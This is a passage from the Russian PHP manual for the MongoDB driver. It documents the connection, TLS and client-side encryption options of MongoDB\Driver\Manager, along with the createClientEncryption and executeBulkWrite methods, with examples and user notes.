Устанавливает имя службы Kerberos при подключении к керберизованными экземплярам MongoDB. Это значение должно совпадать именем службы, установленным в экземплярах MongoDB (т.е. с параметром сервер, » saslServiceName ). По умолчанию используется "mongodb".

Этот параметр является устаревшим псевдонимом для свойства "SERVICE_NAME" параметра URI "authMechanismProperties".

heartbeatFrequencyMS int

Задаёт интервал в миллисекундах между проверками драйвера топологии MongoDB, отсчитываемыми с конца предыдущей проверки до начала следующей. По умолчанию - 60 000 миллисекунд.

Согласно » Спецификации по обнаружению и мониторингу сервера, это значение не может быть меньше 500 миллисекунд.

journal bool

Соответствует параметру гарантий записи journal. Если true, для записи будет требоваться подтверждение от MongoDB, что операция была записана в журнал. Подробнее смотрите MongoDB\Driver\WriteConcern.

loadBalanced bool

Указывает, подключается ли драйвер к кластеру MongoDB через балансировщик нагрузки. Если true, драйвер может подключаться только к одному узлу (указанному либо строкой подключения, либо поиском SRV), параметр URI "directConnection" не может быть true и опция URI "replicaSet" должна быть опущена. По умолчанию false.

localThresholdMS int

Размер в миллисекундах окна задержки для выбора среди нескольких подходящих экземпляров MongoDB при разрешении предпочтения чтения. По умолчанию - 15 миллисекунд.

maxStalenessSeconds int

Соответствует параметру предпочтениям чтения "maxStalenessSeconds". Указывает в секундах насколько устаревшим может быть вторичный узел в наборе реплик, прежде чем клиент перестанет его использовать для операций чтения. По умолчанию не задано максимальное отставание репликации (staleness) и клиенты не будут учитывать отставание вторичного узла при выборе при выборе направления операции чтения. Подробнее смотрите MongoDB\Driver\ReadPreference.

Если указана, максимальное отставание должно быть 32-битным целым числом, большим или равным MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS (т.е. 90 секунд).

password | string | Пароль для аутентификации пользователя. Эта опция полезна, если пароль содержит специальные символы, которые в противном случае должны были закодированы для URI-адреса подключения.
readConcernLevel | string | Соответствует параметру гарантий чтения level Определяет уровень изоляции чтения. Подробнее смотрите MongoDB\Driver\ReadConcern.
readPreference string

Соответствует параметру предпочтениям чтения mode По умолчанию - "primary". Подробнее смотрите MongoDB\Driver\ReadPreference.

readPreferenceTags array

Соответствует параметру предпочтениям чтения tagSets. Наборы тегов позволяют настраивать операции чтения для определённых членов набора реплики. Подробнее смотрите MongoDB\Driver\ReadPreference.

Замечание: Если в строке URI не указано, этот параметр представляется как как массив, соответствующий формату, ожидаемому MongoDB\Driver\ReadPreference::__construct().

replicaSet string

Задаёт имя набора реплики.

retryReads bool

Указывает, должен ли драйвер автоматически повторять определённые операции чтения, которые не выполняются из-за временных сетевых ошибок или выборов набора реплик. Требуется MongoDB 3.6+. По умолчанию true.

Смотрите » Спецификацию по Retryable Reads для получения дополнительной информации.

retryWrites bool

Указывает, должен ли драйвер автоматически повторять определённые операции записи, которые не выполняются из-за временных сетевых ошибок или выборов набора реплик. Требуется MongoDB 3.6+. По умолчанию true.

Смотрите » Retryable Writes в руководстве MongoDB для получения дополнительной информации.

safe bool

Если true, указывает 1 для параметра w гарантии записи по умолчанию. Если false, указывается 0. Подробнее смотрите MongoDB\Driver\WriteConcern.

Эта опция устарела и не должна использоваться.

serverSelectionTimeoutMS int

Указывает как долго в миллисекунд блокировать выбор сервера перед выбросом исключения. По умолчанию - 30 000 миллисекунд.

serverSelectionTryOnce bool

Если true, то сообщает драйверу сканировать развёртывание MongoDB только один раз после неудачной попытки выбора сервера, а затем либо выбрать сервер или создать ошибку. Когда false, драйвер блокирует выбор и выполняет поиск сервера до истечения времени, указанного в параметре "serverSelectionTimeoutMS". По умолчанию - true.

socketCheckIntervalMS int

Если сокет не использовался в последнее время, драйвер должен проверить с помощью команды hello, прежде чем использовать его для любой операции. По умолчанию - 5 000 миллисекунд.

socketTimeoutMS int

Время в миллисекундах, чтобы попытаться отправить или получить в сокет до истечения времени. По умолчанию - 300 000 миллисекунд (т.е. 5 минут).

srvMaxHosts int

Максимальное количество результатов SRV для случайного выбора при первоначальном заполнении посевного списка или, во время опроса SRV, при добавлении новых узлов к топологии. По умолчанию 0 (т.е. без максимума).

srvServiceName string

Имя службы, используемое для поиска SRV в начальном списке DNS seedlist обнаружения и опроса SRV. По умолчанию "mongodb".

ssl bool

Создаёт соединение с TLS/SSL, если true. По умолчанию - false.

Параметр является устаревшим псевдонимом для параметра URI "tls".

tls bool

Инициирует соединение с TLS/SSL, если true. По умолчанию false.

tlsAllowInvalidCertificates bool

Указывает, должен ли драйвер выдавать ошибку, если сертификат TLS сервера недействителен. По умолчанию false.

Внимание

Отключение проверки сертификата создаёт уязвимость.

tlsAllowInvalidHostnames bool

Указывает, должен ли драйвер выдавать ошибку при несоответствии имени хоста сервера и имени хоста, указанного в сертификате TLS. По умолчанию false.

Внимание

Отключение проверки сертификата создаёт уязвимость. Разрешение недопустимых имён хоста может привести к атаке типа » "человек посередине" (man-in-the-middle).

tlsCAFile string

Путь к файлу с одним или несколькими центрами сертификации, которые следует считать доверенными при установлении соединения TLS. По умолчанию будет использоваться хранилище системных сертификатов.

tlsCertificateKeyFile string

Путь к файлу сертификата клиента или файлу закрытого ключа клиента; в случае, если они оба необходимы, файлы должны быть объединены.

tlsCertificateKeyFilePassword string

Пароль для расшифровки закрытого ключа клиента (т.е. параметра URI "tlsCertificateKeyFile"), который будет использоваться для соединений TLS.

tlsDisableCertificateRevocationCheck bool

Если true, драйвер не будет пытаться проверить статус отзыва сертификата (например, OCSP, CRL). По умолчанию false.

tlsDisableOCSPEndpointCheck bool

Если true, драйвер не будет пытаться связаться с конечной точкой ответа OCSP, если это необходимо (то есть ответ OCSP не сшивается). По умолчанию false.

tlsInsecure bool

Ослабьте ограничения TLS в максимально возможной степени. При значении true этот параметр имеет тот же эффект, что и указание значения true для обоих параметров URI "tlsAllowInvalidCertificates" и "tlsAllowInvalidHostnames". По умолчанию false.

Внимание

Отключение проверки сертификата создаёт уязвимость. Разрешение недопустимых имён хоста может привести к атаке типа » "человек посередине" (man-in-the-middle).

username | string | Имя пользователя для аутентификации. Эта опция полезна, если имя пользователя содержит специальные символы, которые в противном случае должны были быть закодированы в URL для URI-адреса подключения.
w int|string

Соответствует параметру гарантий записи w. Подробнее смотрите MongoDB\Driver\WriteConcern.

wTimeoutMS int|string

Соответствует параметру гарантий записи wtimeout. Указывает срок в миллисекундах для гарантии записи. Подробнее смотрите MongoDB\Driver\WriteConcern.

Если указан, wTimeoutMS должен быть 32-битным целым числом со знаком, большим или равным нулю.

zlibCompressionLevel int

Указывает уровень сжатия для использования zlib. Эта опция ничего не делает, если zlib не включён в URL опции "compressors". Смотрите » Спецификация компрессии драйвера для получения дополнительной информации.

driverOptions

driverOptions
Опция | Тип | Описание
allow_invalid_hostname bool

Отключает проверку имени хоста, если true. По умолчанию - false.

Разрешение недопустимых имён хоста может привести к атаке типа » "человек посередине" (man-in-the-middle).

Этот параметр является устаревшим псевдонимом для параметра URI "tlsAllowInvalidHostnames"

autoEncryption array

Предоставляет опции для включения автоматического шифрования на уровне поля на стороне клиента.

Замечание:

Автоматическое шифрование - функция только для Enterprise версии, которая применяется только к операциям над коллекцией. Автоматическое шифрование не поддерживается для операций над базой данных или представлением, а операции, которые не обходятся, приведут к ошибке (смотрите » libmongocrypt: Список разрешений на автоматическое шифрование). Чтобы обойти автоматическое шифрование для всех операций, установите bypassAutoEncryption в значение true.

Автоматическое шифрование требует, чтобы у аутентифицированного пользователя была привилегия » listCollections.

Явное шифрование/дешифрование и автоматическая расшифровка - это функция Community версии. Драйвер все ещё может автоматически расшифровывать, если у опции bypassAutoEncryption установлено значение true.

Поддерживаются следующие опции:

Опции для автоматического шифрования
Опция | Тип | Описание
keyVaultClient | MongoDB\Driver\Manager | Менеджер используется для маршрутизации запросов ключей данных в отдельный кластер MongoDB. По умолчанию используется текущий менеджер и кластер.
keyVaultNamespace | string | Полное пространство имён (например, "databaseName.collectionName"), обозначающее коллекцию, которая содержит все ключи данных, используемые для шифрования и дешифрования. Обязательный параметр.
kmsProviders array

Документ, содержащий конфигурацию для одного или нескольких провайдеров KMS, которые используются для шифрования ключей данных. Поддерживаются провайдеры "aws", "azure", "gcp" и "local", и, по крайней мере, один из них должен быть указан.

Если для "aws", "azure" или "gcp" указан пустой документ, драйвер попытается сконфигурировать провайдера, используя » Автоматические учётные данные.

Формат для "aws" выглядит следующим образом:

aws: {
    accessKeyId: <string>,
    secretAccessKey: <string>,
    sessionToken: <optional string>
}

Формат для "azure" выглядит следующим образом:

azure: {
    tenantId: <string>,
    clientId: <string>,
    clientSecret: <string>,
    identityPlatformEndpoint: <optional string> // По умолчанию "login.microsoftonline.com"

}

Формат для "gcp" выглядит следующим образом:

gcp: {
    email: <string>,
    privateKey: <base64 string>|<MongoDB\BSON\Binary>,
    endpoint: <optional string> // По умолчанию "oauth2.googleapis.com"

}

Формат для "kmip" выглядит следующим образом:

kmip: {
    endpoint: <string>
}

Формат для "local" выглядит следующим образом:

local: {
    // 96-байтовый главный ключ, используемый для шифрования/дешифрования ключей данных
    key: <base64 string>|<MongoDB\BSON\Binary>
}
tlsOptions array

Документ, содержащий конфигурацию TLS для одного или нескольких KMS провайдеров. Поддерживаются провайдеры "aws", "azure", "gcp" и "kmip". Все провайдеры поддерживают следующие опции:

<provider>: {
    tlsCaFile: <optional string>,
    tlsCertificateKeyFile: <optional string>,
    tlsCertificateKeyFilePassword: <optional string>,
    tlsDisableOCSPEndpointCheck: <optional bool>
}
schemaMap array|object

Карта пространств имён коллекции в локальную схему JSON. Используется для настройки автоматического шифрования. Дополнительную информацию смотрите в » Правилах автоматического шифрования в руководстве по MongoDB. Ошибкой является указание коллекции как в schemaMap, так и в encryptedFieldsMap.

Замечание: Добавление schemaMap обеспечивает большую безопасность, чем использование схем JSON, полученных с сервера. Это защищает от вредоносного сервера, рекламирующего ложную схему JSON, которая может заставить клиента отправлять незашифрованные данные, которые должны быть зашифрованы.

Замечание: Схемы, поставляемые в schemaMap, применяются только для настройки автоматического шифрования на стороне клиента. Другие правила проверки в схеме JSON не будут применяться драйвером и приведут к ошибке.

bypassAutoEncryption | bool | Если true, mongocryptd не будет появляться автоматически. Используется для отключения автоматического шифрования. По умолчанию false.
bypassQueryAnalysis | bool | Если true, автоматический анализ исходящих команд будет отключён и mongocryptd не будет появляться автоматически. Это позволяет использовать явное шифрование для запроса индексированных полей без необходимости использования лицензированной корпоративной библиотеки crypt_shared или процесса mongocryptd. По умолчанию установлено значение false.
encryptedFieldsMap array|object

Карта пространств имён коллекции в документе encryptedFields. Используется для настройки шифрования с возможностью запроса. Смотрите » Шифрование полей и возможность запросов в руководстве по MongoDB для получения дополнительной информации. Ошибкой является указание коллекции как в encryptedFieldsMap, так и в schemaMap.

Замечание: Указание encryptedFieldsMap обеспечивает большую безопасность, чем полагаться на encryptedFields, полученные от сервера. Это защищает от злонамеренного сервера, рекламирующего ложные encryptedFields.

extraOptions array

extraOptions относится к процессу mongocryptd. Поддерживаются следующие параметры:

  • mongocryptdURI (string): URI для подключения к существующему процессу mongocryptd. По умолчанию "mongodb://localhost:27020".
  • mongocryptdBypassSpawn (bool): Если true, предотвращает создание драйвером mongocryptd. По умолчанию false.
  • mongocryptdSpawnPath (string): Абсолютный путь для поиска двоичного файла mongocryptd. По умолчанию это пустая строка, использующая системные пути.
  • mongocryptdSpawnArgs (array): Массив строковых аргументов для передачи в mongocryptd при создании. По умолчанию ["--idleShutdownTimeoutSecs=60"].
  • cryptSharedLibPath (string): Абсолютный путь к библиотеке общего доступа crypt_shared. По умолчанию - пустая строка и использует системные пути.
  • cryptSharedLibRequired (bool): Если true, требует, чтобы драйвер загружал crypt_shared. По умолчанию false.

Смотрите » Руководство по шифрованию на стороне клиента, чтобы получить больше информации.

Замечание: Автоматическое шифрование — это только корпоративная функция, которая применяется только к операциям над коллекцией. Автоматическое шифрование не поддерживается для операций с базой данных или представлением, операции, которые не получится обойти, приведут к ошибке. Чтобы обойти автоматическое шифрование для всех операций, установите bypassAutoEncryption=true в autoEncryption. Для получения дополнительной информации о разрешённых операциях смотрите » Руководство по шифрованию на стороне клиента.

ca_dir string

Путь к корректно захешированному каталогу сертификатов. По умолчанию будет использоваться хранилище системных сертификатов.

ca_file string

Путь к файлу с одним или несколькими центрами сертификации, которые следует считать доверенными при установлении соединения TLS. По умолчанию будет использоваться хранилище системных сертификатов.

Параметр является устаревшим псевдонимом для параметра URI "tlsCAFile".

context resource

Параметры контекста SSL для использования в качестве запасного варианта, если не указана опция драйвера или эквивалентная ей опция URI. Обратите внимание, что драйвер не обращается к контексту потока по умолчанию (т.е. stream_context_get_default()). Поддерживаются следующие параметры контекста:

Резервные параметры контекста SSL
Параметр драйвера | Параметр контекста (запасной вариант)
ca_dir | capath
ca_file | cafile
pem_file | local_cert
pem_pwd | passphrase
weak_cert_validation | allow_self_signed

Параметр поддерживается для обратной совместимости, но его следует считать устаревшим.

crl_file | string | Путь к файлу списка аннулированных сертификатов.
disableClientPersistence bool

Если true, Manager будет использовать новый клиент libmongoc, который не будет сохраняться или использоваться другими объектами Manager. Когда этот объект Manager будет освобождён, его клиент будет уничтожен, а все соединения будут закрыты. По умолчанию false.

Замечание: Disabling client persistence is not generally recommended.

driver array

Позволяет пользовательским драйверам добавлять свои метаданные к рукопожатию сервера. По умолчанию драйвер передаёт своё собственное имя, версию и платформу (то есть версию PHP) в рукопожатие. Пользовательские драйверы могут указывать строки для ключей "name", "version" и "platform" этого массива, которые будут добавлены к соответствующие поля в документе рукопожатия.

Замечание: Информация о рукопожатии ограничена 512 байтами. Драйвер урезает данные рукопожатия, чтобы соответствовать этой 512-байтовой строке. Драйверам и ODM рекомендуется сохранять краткость своих метаданных.

pem_file string

Путь к сертификату в формате PEM для аутентификации клиента.

Этот параметр является устаревшим псевдонимом для параметра URI "tlsCertificateKeyFile".

pem_pwd string

Парольная фраза к PEM-закодированному сертификату (если есть).

Этот параметр является устаревшим псевдонимом для параметра URI "tlsCertificateKeyFilePassword".

serverApi MongoDB\Driver\ServerApi

Опция используется для объявления версии API сервера для менеджера. Если не указана, версия API не объявляется.

weak_cert_validation bool

Отключает проверку сертификат, если true. По умолчанию - false

Этот параметр является устаревшим псевдонимом для параметра URI "tlsAllowInvalidCertificates".

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неверном формате uri выбрасывает исключение MongoDB\Driver\Exception\RuntimeException.

Список изменений

Версия Описание
PECL mongodb 1.16.0

Провайдер AWS KMS для шифрования на стороне клиента теперь принимает параметр "sessionToken", который можно использовать для аутентификации с временными учётными данными AWS.

Добавлено "tlsDisableOCSPEndpointCheck" в поле "tlsOptions" поля "autoEncryption" опции драйвера.

PECL mongodb 1.14.0

Добавлены опции автоматического шифрования "bypassQueryAnalysis" и "encryptedFieldsMap". Дополнительные опции, относящиеся к crypt_shared, теперь поддерживаются в опции автоматического шифрования "extraOptions". option.

PECL mongodb 1.13.0

Добавлены URI опции "srvMaxHosts" и "srvServiceName".

PECL mongodb 1.12.0

KMIP теперь поддерживается в качестве KMS провайдера для шифрования на стороне клиента и может быть настроен с помощью поля "kmsProviders" параметра драйвера "autoEncryption". Кроме того, параметры TLS для KMS провайдеров теперь можно настроить поле "tlsOptions" параметра драйвера "autoEncryption".

PECL mongodb 1.11.0

Добавлена опция URI "loadBalanced".

PECL mongodb 1.10.0

Добавлена опция драйвера "disableClientPersistence".

Azure и GCP теперь поддерживаются в качестве поставщиков KMS для шифрования на стороне клиента и могут быть настроены в поле "kmsProviders" параметра драйвера "autoEncryption". Строки в кодировке Base64 теперь принимаются в качестве альтернативы MongoDB\BSON\Binary для параметров внутри "kmsProviders".

PECL mongodb 1.8.0

Добавлены опции URI "directConnection", "tlsDisableCertificateRevocationCheck", и "tlsDisableOCSPEndpointCheck".

Добавлен параметр драйвера "driver".

PECL mongodb 1.7.0

Добавлена опция драйвера "autoEncryption".

Указание любой опции SSL или TLS в параметре driverOptions теперь неявно включает TLS, как это делается для соответствующих опций URI.

PECL mongodb 1.6.0

Добавлены параметры URI "retryReads", "tls", "tlsAllowInvalidCertificates", "tlsAllowInvalidHostnames", "tlsCAFile", "tlsCertificateKeyFile", "tlsCertificateKeyFilePassword", и "tlsInsecure".

Параметр URI "retryWrites" по умолчанию true.

Передача URI-опции SSL или TLS через строку подключения или параметр uriOptions теперь неявно включает TLS, при условии, если ssl или tls не равны false. TSL не включается неявно для любых опций в параметре driverOptions, как в предыдущих версиях.

PECL mongodb 1.5.0

"wtimeoutMS" теперь всегда проверяется и применяется к гарантии записи. Ранее эта опция игнорировалась, если "w" был <= 1, поскольку время ожидания применяется только к репликации.

PECL mongodb 1.4.0

Добавлены опции URI "compressors", "retryWrites" и "zlibCompressionLevel".

PECL mongodb 1.3.0

В аргументе uriOptions теперь есть опции "authMechanism" и "authMechanismProperties". Раньше эти опции поддерживались только в аргументе uri.

PECL mongodb 1.2.0

Аргумент uri по умолчанию теперь "mongodb://127.0.0.1/". Порт по умолчанию не изменился - 27017.

Добавлен URI-параметр "appname".

Добавлены параметры драйвера "allow_invalid_hostname", "ca_file", "ca_dir", "clr_file", "pem_file", "pem_pwd" и "weak_cert_validation".

API потоков PHP больше не используется для соединения с сокетом. Параметр URI "connectTimeoutMS" теперь по умолчанию равен 10 секунд вместо default_socket_timeout в предыдущих версиях. Кроме того, драйвер больше не поддерживает все параметры SSL-контекста через параметр драйвера "context".

PECL mongodb 1.1.0

Аргумент uri является необязательный и по умолчанию равен "mongodb://localhost:27017/".

Примеры

Пример #1 Примеры использования MongoDB\Driver\Manager::__construct()

Подключение к автономному узлу MongoDB:

<?php

$manager = new MongoDB\Driver\Manager("mongodb://example.com:27017");

?>

Подключение к автономному узлу MongoDB через доменный сокет Unix. Путь сокета может содержать специальные символы, например слеши, которые должны закодированы с помощью rawurlencode().

<?php

$manager = new MongoDB\Driver\Manager("mongodb://" . rawurlencode("/tmp/mongodb-27017.sock"));

?>

Подключение к набору реплик:

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

?>

Подключение к сегментированному кластеру (т.е. одну или нескольким экземплярам mongos):

<?php

$manager = new MongoDB\Driver\Manager("mongodb://mongos1.example.com,mongos2.example.com/");

?>

Подключение к MongoDB с учётными данными аутентификации для конкретного пользователя и базы данных:

<?php

$manager = new MongoDB\Driver\Manager("mongodb://myusername:mypassword@example.com/?authSource=databaseName");

?>

Подключение к MongoDB с учётными данными аутентификации для конкретного пользователя и базы данных, где имя пользователя или пароль содержат специальные символы (например, @, :, %). В следующем примере, строка с паролем myp@ss:w%rd была вручную экранирована; однако rawurlencode() может использоваться для экранирования URI-компонентов, которые могут содержать специальные символы.

<?php

$manager = new MongoDB\Driver\Manager("mongodb://myusername:mypassword@example.com/?authSource=databaseName");

?>

Подключение к MongoDB с аутентификацией X509:

<?php

$manager = new MongoDB\Driver\Manager(
"mongodb://example.com/?ssl=true&authMechanism=MONGODB-X509",
[],
[
"pem_file" => "/path/to/client.pem",
]
);
?>

Смотрите также

  • Обработка подключения и сохранение
  • » Формат строки соединения MongoDB

User Contributed Notes

denys at bulakhweb dot com 06-Jul-2017 02:31
Please note, if you send socketTimeoutMs value as 0 to disable timeout (according to MongoDB documentation), it will be considered as default value which is 300,000 ms in PHP driver. So send some really huge amount in case if you need to disable limitation.
denys at bulakhweb dot com 06-Jul-2017 02:20
Please note, if you send socketTimeoutMs value as 0 to disable timeout (according to MongoDB documentation), it will be considered as default value which is 300,000 ms in PHP driver. So send some really huge amount in case if you need to disable limitation.


Создание нового объекта ClientEncryption

  • « MongoDB\Driver\Manager::__construct
  • MongoDB\Driver\Manager::executeBulkWrite »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Создание нового объекта ClientEncryption

MongoDB\Driver\Manager::createClientEncryption

(mongodb >=1.7.0)

MongoDB\Driver\Manager::createClientEncryption — Создание нового объекта ClientEncryption

Описание

final public MongoDB\Driver\Manager::createClientEncryption(array $options): MongoDB\Driver\ClientEncryption

Создаёт новый объект MongoDB\Driver\ClientEncryption с заданными параметрами.

Список параметров

options

options
Параметр | Тип | Описание
keyVaultClient | MongoDB\Driver\Manager | Менеджер используется для маршрутизации запросов ключей данных в отдельный кластер MongoDB. По умолчанию используется текущий менеджер и кластер.
keyVaultNamespace | string | Полное пространство имён (например, "databaseName.collectionName"), обозначающее коллекцию, которая содержит все ключи данных, используемые для шифрования и дешифрования. Обязательный параметр.
kmsProviders array

Документ, содержащий конфигурацию для одного или нескольких провайдеров KMS, которые используются для шифрования ключей данных. Поддерживаются провайдеры "aws", "azure", "gcp" и "local", и, по крайней мере, один из них должен быть указан.

Если для "aws", "azure" или "gcp" указан пустой документ, драйвер попытается сконфигурировать провайдера, используя » Автоматические учётные данные.

Формат для "aws" выглядит следующим образом:

aws: {
    accessKeyId: <string>,
    secretAccessKey: <string>,
    sessionToken: <optional string>
}

Формат для "azure" выглядит следующим образом:

azure: {
    tenantId: <string>,
    clientId: <string>,
    clientSecret: <string>,
    identityPlatformEndpoint: <optional string> // По умолчанию "login.microsoftonline.com"

}

Формат для "gcp" выглядит следующим образом:

gcp: {
    email: <string>,
    privateKey: <base64 string>|<MongoDB\BSON\Binary>,
    endpoint: <optional string> // По умолчанию "oauth2.googleapis.com"

}

Формат для "kmip" выглядит следующим образом:

kmip: {
    endpoint: <string>
}

Формат для "local" выглядит следующим образом:

local: {
    // 96-байтовый главный ключ, используемый для шифрования/дешифрования ключей данных
    key: <base64 string>|<MongoDB\BSON\Binary>
}
tlsOptions array

Документ, содержащий конфигурацию TLS для одного или нескольких KMS провайдеров. Поддерживаются провайдеры "aws", "azure", "gcp" и "kmip". Все провайдеры поддерживают следующие опции:

<provider>: {
    tlsCaFile: <optional string>,
    tlsCertificateKeyFile: <optional string>,
    tlsCertificateKeyFilePassword: <optional string>,
    tlsDisableOCSPEndpointCheck: <optional bool>
}

Возвращаемые значения

Возвращает новый экземпляр MongoDB\Driver\ClientEncryption.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException если модуль был скомпилирован без поддержки libmongocrypt

Список изменений

Версия | Описание
PECL mongodb 1.16.0 | Провайдер AWS KMS для шифрования на стороне клиента теперь принимает параметр "sessionToken", который можно использовать для аутентификации с временными учётными данными AWS.
PECL mongodb 1.12.0 | KMIP теперь поддерживается в качестве KMS провайдера для шифрования на стороне клиента и может быть настроен с помощью параметра "kmsProviders". Добавлен параметр "tlsOptions".
PECL mongodb 1.10.0 | Azure и GCP теперь поддерживаются в качестве поставщиков KMS для шифрования на стороне клиента и могут быть настроены в поле "kmsProviders" параметра драйвера "autoEncryption". Строки в кодировке Base64 теперь принимаются в качестве альтернативы MongoDB\BSON\Binary для параметров внутри "kmsProviders".

Смотрите также

  • MongoDB\Driver\ClientEncryption::__construct() - Создаёт новый объект ClientEncryption
  • Страница в руководстве по MongoDB: » Явное (ручное) шифрование на уровне поля на стороне клиента

User Contributed Notes

There are no user contributed notes for this page.


Выполняет одну или несколько операций записи

  • « MongoDB\Driver\Manager::createClientEncryption
  • MongoDB\Driver\Manager::executeCommand »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Выполняет одну или несколько операций записи

MongoDB\Driver\Manager::executeBulkWrite

(mongodb >=1.0.0)

MongoDB\Driver\Manager::executeBulkWrite — Выполняет одну или несколько операций записи

Описание

final public MongoDB\Driver\Manager::executeBulkWrite(string $namespace, MongoDB\Driver\BulkWrite $bulk, array|MongoDB\Driver\WriteConcern|null $options = null): MongoDB\Driver\WriteResult

Выполняет одну или несколько операций записи на основном сервере.

Объект класса MongoDB\Driver\BulkWrite может быть создан с одной или несколькими операциями записи различного типа (например, обновлениями, удалениями и вставками). Драйвер попытается отправить операции одного и того же типа на сервер с минимальным количества запросов, чтобы сократить обращения к серверу.

Список параметров

namespace (string)

Полностью определённое имя (т.е. "databaseName.collectionName").

bulk (MongoDB\Driver\BulkWrite)

Записи для выполнения.

опции

options
Опция Тип Описание
session MongoDB\Driver\Session

Сессия для связывания с операцией.

writeConcern MongoDB\Driver\WriteConcern

Гарантия записи для применения к операции.

Возвращаемые значения

В случае успешного выполнения возвращает MongoDB\Driver\WriteResult.

Ошибки

  • При отсутствии какой-либо операции записи в bulk, выбрасывает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Если bulk уже был выполнен, выбрасывает исключение MongoDB\Driver\Exception\InvalidArgumentException. Объекты MongoDB\Driver\BulkWrite не могут быть выполнены несколько раз.
  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется в сочетании с неподтверждённой гарантией записи.
  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • При ошибке записи бросает исключение MongoDB\Driver\Exception\BulkWriteException.
  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • При возникновении других ошибок, выбрасывает исключение MongoDB\Driver\Exception\RuntimeException.

Список изменений

Версия | Описание
PECL mongodb 1.4.4 | Если опция "session" используется в сочетании с неподтверждённой гарантией записи, выбрасывается исключение MongoDB\Driver\Exception\InvalidArgumentException.
PECL mongodb 1.4.0 | Третий параметр options теперь массив. Для обратной совместимости этот параметр ещё принимает объект MongoDB\Driver\WriteConcern.
PECL mongodb 1.3.0 | Теперь выбрасывается исключение MongoDB\Driver\Exception\InvalidArgumentException, если bulk не содержит операций записи. Ранее выбрасывалось MongoDB\Driver\Exception\BulkWriteException.

Примеры

Пример #1 Пример использования MongoDB\Driver\Manager::executeBulkWrite()

<?php

$bulk = new MongoDB\Driver\BulkWrite();

$bulk->insert(['_id' => 1, 'x' => 1]);
$bulk->insert(['_id' => 2, 'x' => 2]);

$bulk->update(['x' => 2], ['$set' => ['x' => 1]], ['multi' => false, 'upsert' => false]);
$bulk->update(['x' => 3], ['$set' => ['x' => 3]], ['multi' => false, 'upsert' => true]);
$bulk->update(['_id' => 3], ['$set' => ['x' => 3]], ['multi' => false, 'upsert' => true]);

$bulk->insert(['_id' => 4, 'x' => 2]);

$bulk->delete(['x' => 1], ['limit' => 1]);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$writeConcern = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY, 100);
$result = $manager->executeBulkWrite('db.collection', $bulk, $writeConcern);

printf("Добавлено %d документ(ов)\n", $result->getInsertedCount());
printf("Найдено %d документ(ов)\n", $result->getMatchedCount());
printf("Обновлено %d документ(ов)\n", $result->getModifiedCount());
printf("Добавлено и добавлено %d документ(ов)\n", $result->getUpsertedCount());
printf("Удалено %d документ(ов)\n", $result->getDeletedCount());

foreach ($result->getUpsertedIds() as $index => $id) {
printf('upsertedId[%d]: ', $index);
var_dump($id);
}

/* Если WriteConcern не может быть выполнен */
if ($writeConcernError = $result->getWriteConcernError()) {
printf("%s (%d): %s\n", $writeConcernError->getMessage(), $writeConcernError->getCode(), var_export($writeConcernError->getInfo(), true));
}

/* Если запись не может произойти вообще*/
foreach ($result->getWriteErrors() as $writeError) {
printf("Операция#%d: %s (%d)\n", $writeError->getIndex(), $writeError->getMessage(), $writeError->getCode());
}
?>

Результатом выполнения данного примера будет что-то подобное:

Добавлено 3 документ(ов)
Найдено 1 документ(ов)
Обновлено 1 документ(ов)
Добавлено и добавлено 2 документ(ов)
Удалено 1 документ(ов)
upsertedId[3]: object(MongoDB\BSON\ObjectId)#5 (1) {
  ["oid"]=>
  string(24) "54d3adc3ce7a792f4d703756"
}
upsertedId[4]: int(3)

Смотрите также

  • MongoDB\Driver\BulkWrite
  • MongoDB\Driver\WriteResult
  • MongoDB\Driver\WriteConcern
  • MongoDB\Driver\Server::executeBulkWrite() - Выполнить одну или несколько операций записи на сервере

User Contributed Notes

RJ 04-Sep-2019 05:29
If you're trying to figure out how to insert just one object and NOT an array resulting in a bunch of unwanted [0]s in your schema, I'm sorry I cannot help you. I've scoured the SERPs and since MongoDB\Driver\BulkWrite only takes an array it appears there is literally no way to "insertOne" in PHP7, nor a way to pass JUST an object and NOT an array, which may mean you must use a different language or revert to shell commands :-\.

There are several articles where people, apparently mistakenly, refer to "MongoDB\Driver\Client" but neither that nor "MongoDB\Driver\Collections" appear to exist at all. I'm devastated, but if this forces me to downgrade to PHP5 on a brand new project I'll just need to move to a more modern language. :-(

After several hours of this torture I'm now going to spend another hour trying to figure out if I can compose an update query that will collapse the unnecessary array that is being stuck where an object (document) should be. Ug. I realize people using MongoDB have mostly fled PHP, but abandoning the few & loyal among us is really very sad as has been attested to by the unresolved stackoverflow laments that have been going on for years.


Выполняет команду базы данных

  • « MongoDB\Driver\Manager::executeBulkWrite
  • MongoDB\Driver\Manager::executeQuery »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Выполняет команду базы данных

MongoDB\Driver\Manager::executeCommand

(mongodb >=1.0.0)

MongoDB\Driver\Manager::executeCommand — Выполняет команду базы данных

Описание

final public MongoDB\Driver\Manager::executeCommand(string $db, MongoDB\Driver\Command $command, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor

Выбирает сервер в соответствии с опцией "readPreference" и выполняет запрос на этом сервере. По умолчанию будет использоваться предпочтение чтения из URI URI подключения MongoDB.

